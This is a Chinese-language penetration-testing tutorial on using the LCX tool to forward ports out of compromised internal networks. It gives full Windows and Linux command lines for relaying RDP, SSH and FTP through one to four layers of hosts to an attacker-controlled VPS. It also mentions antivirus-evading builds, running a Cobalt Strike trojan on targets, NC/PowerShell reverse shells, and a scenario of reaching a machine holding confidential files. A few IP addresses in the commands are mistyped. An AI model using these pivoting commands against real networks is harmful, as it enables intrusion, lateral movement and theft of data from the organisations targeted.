一、端口转发简介:
端口转发服务是由一组端口转发规则定义的策略,转发是一种与其他网络应用程序交互的方式。其实说人话,端口转发就是把一个端口的数据传到另一个端口,而这两个端口可以是不同机器之间也可以是相同机器的
二、应用场景概述:
端口转发通常在目标网络不好、目标机器在内网、不能直接连接目标端口、目标机器不能直接出网等场景下使用
三、使用场景分析:
1、目标网络不好
在进行内网渗透的时候,端口转发会比代理的网络连通性更好,比如通过MS17-010攻击的时候,通过socks代理渗透时发现打一会就中断或者假死了,那么就可以换成端口转发技术
2、目标机器在内网
3、不能直连目标端口【有防火墙】:
开启防火墙之后,且没有配置允许外部进行连接的规则;亦或是只允许本机登录的服务,MySQL设置允许登录的机器是:127.0.0.1。这些问题都是可以通过端口转发解决的
4、目标不出网【穿透上线】
如果我们发现172.16.1.5这台目标机器无法直接通过172.16.1.1出网,我们就可以通过端口转发的技术将端口转到172.16.1.2,再通过这台中转机器出网
四、针对使用场景的解决方案:
1、目标在内网【单层】:
单层就是说该机器可以直接通过路由出网,无需先转到其他机器
转发工具:LCX
LCX转发工具非常经典,恐怕有十几年的历史了。由于LCX还是存在一些问题,且流量是没有经过加密的,容易被流量监控系统监察,因此在高级别的APT组织中这种明文传输的工具一般是不会使用的,不过毕竟不是什么公司都有钱上流量监控设备,可以看情况使用,使用方法如图:
在渗透时拿到目标权限后,当我们想连接目标的端口,却发现目标机器在内网中,我们就需要把目标的端口转发到我们能控制的一台机器上的某个端口上,当然,这个端口肯定要事先做好监听。那么,具体操作就是:
① 在我们的Windows系统vps上(我们控制的机器)运行:
lcx.exe -listen 8888 666 //将本机8888端口上监听到的数据转到本机666端口
② 然后在以获取权限的Windows机器(目标机器)上运行:
lcx.exe -slave 192.168.100.1 8888 127.0.0.1 3389 //将目标机器上的3389端口转发给我们本机(即192.168.100.1)的8888端口
接下来就简单了,我们回到VPS用mstsc打开远程连接,连上本机的666端口就等于连上目标机器的3389端口
2、目标在内网【双层】
双层其实也很简单,这里借用大佬的图解释一下:我们可以看到172.16.1.5这台目标机器不讲武德弄了个防火墙导致没办法直接出网,那我们要做的也很简单跟上面的【单层】差不多:首先在vps开监听,然后跑到中转服务器172.16.1.2上用lcx执行-slave参数,只不过在【单层】时我们选择把本机(即127.0.0.1)的3389转出去,在【双层】我们就可以选择把目标机器(172.16.1.5)的3389转发到VPS。
① VPS(192.168.1.2)执行:
lcx.exe -listen 8888 666 //将本机8888端口上监听到的数据转到本机666端口
② 中转服务器(172.16.1.2)执行:
lcx.exe -slave 192.168.1.2 8888 172.16.1.5 3389 //将目标机器(172.161.5)上的3389端口转发给我们VPS(即192.168.1.2)的8888端口
3、目标在内网【三层】
这里还是借用一下大佬的图,目标机器是172.168.1.3:
① VPS执行监听:
lcx.exe -listen 8080 3381 //将VPS的8080端口上监听到的数据转到VPS的3381端口
② 中转服务器(172.168.1.128)转发:
lcx.exe -listen 8080 3383 //将中转服务器的8080端口上监听到的数据转到中转服务器3383端口
lcx.exe -slave 192.100.50 8080 127.0.0.1 3383 //将本机(即中转服务器)的3383端口转发给VPS的8080端口
其实上面两条命令可以合成一条:
Lcx.exe -tran 8080 192.168.100.50 8080 //建立隧道,将本机(即中转服务器)的8080端口直接转给VPS
③ 中转台式机(192.168.1.4)执行:
Lcx.exe -slave 172.168.1.128 8080 172.168.1.3 3389 //将目标机器(172.16.1.3)的3389端口转发给中转服务器(172.168.1.128)的8080端口
最后在本机mstsc开启监听即可
3、目标在内网【四层】
这里的目标机器是192.168.5.6,再次借用大佬的图:
① VPS执行
Lcx.exe -listen 8080 3381
② 中转服务器(192.16.1.2)执行:
Lcx.exe -listen 8080 3383
Lcx.exe -slave 192.168.1.2 8080 127.0.0.1 3383
或者直接:
[lcx.exe -tran 8080 192.168.1.2 8080]
③ 中转个人机(192.16.1.5)执行:
Lcx.exe -listen 8080 3382
Lcx.exe -slave 172.16.1.2 8080 127.0.0.1 3382
或者直接:
[lcx.exe -tran 8080 172.16.1.2 8080]
④ 中转PC机(172.16.2.2)执行:
Lcx.exe -slave 172.16.1.2 8080 192.168.5.6 3389
然后回到VPS用mstsc开启3381即可,以此类推,更多层的端口转发就是这么延长下去了。
五、其他版本的LCX或其他转发工具:
1、Golang版本-免杀
2、Linux版本
其他的可以自行GitHub搜索或自行修改原版LCX
六、基于多层内网的上线:
上线的IP或者是寻址IP填写上层机器监听的端口即可
1、先建立好通道:
① VPS执行监听:
lcx.exe -listen 8080 3381
② 中转服务器(172.168.1.128)转发:
Lcx.exe -tran 8080 192.168.100.50 8080
③ 中转台式机(192.168.1.4)执行:
Lcx.exe -slave 172.168.1.128 8080 172.168.1.3 8080
2、CS走起
① 先建立监听,注意监听器的IP填写目标机器上一层的机器(即图中的192.168.1.4):
② 生成木马文件,并在目标机器(192.168.1.3)上执行:
基于更多层的内网反弹shell也是这样,可以使用NC、powershell反弹,也是反弹到上层机器监听的端口
七、Linux下的端口转发:
1、Linux下的LCX:
这里m1就是tran
m2就是listen
m3就是slave
2、例子一(需要将目标机器的22端口转发出去):
① 场景一:
某个服务的端口不能外连【由于服务设置或防火墙】或处于内网
Vps执行监听:
./lcx -m 2 -p1 8080 -p2 1337
目标Linux执行:
./lcx -m 3 -h1 <vps-ip> -p1 8080 -h2 127.0.0.1 -p2 22
攻击机执行:
Ssh -p 1337 root@<vps-ip>
② 场景二:
目标处于多层内网,需要层层转发出来
Vps执行监听:
./lcx -m 2 -p1 8080 -p2 1337
这里跟上面的多层一样,只是工具不同,在中转服务器(123.123.123.2)上执行:
./lcx -m 1 -p1 8080 -h2 <vps-ip> -p2 1337
./lcx -m 3 -h1 123.123.123.2 -p1 8082 -h2 <target-ip> -p2 22
3、例子二(把已控机器的端口转换到目标端口):
场景说明:C是领导给的目标,里面存储着该机构的机密文件,虽然ABC是处于同一路由器下,但是C设置了不允许A访问,所以只能通过控制B去访问了,而B是PC,不方便双开3389登录上去,那就做一下端口的转发,而想要从外网直接访问,就需要多层转发了。
① vps执行监听:
./lcx -m 2 -p1 8080 -p2 1337
② B执行:
Lcx.exe -tran 8081 192.168.5.7 21
③ A执行:
./lcx -m 3 -h1 8.8.8.8 -p1 8080 -h2 192.168.5.8 -p2 8081
④ 然后我们连接1337端口,就是连接到C的21端口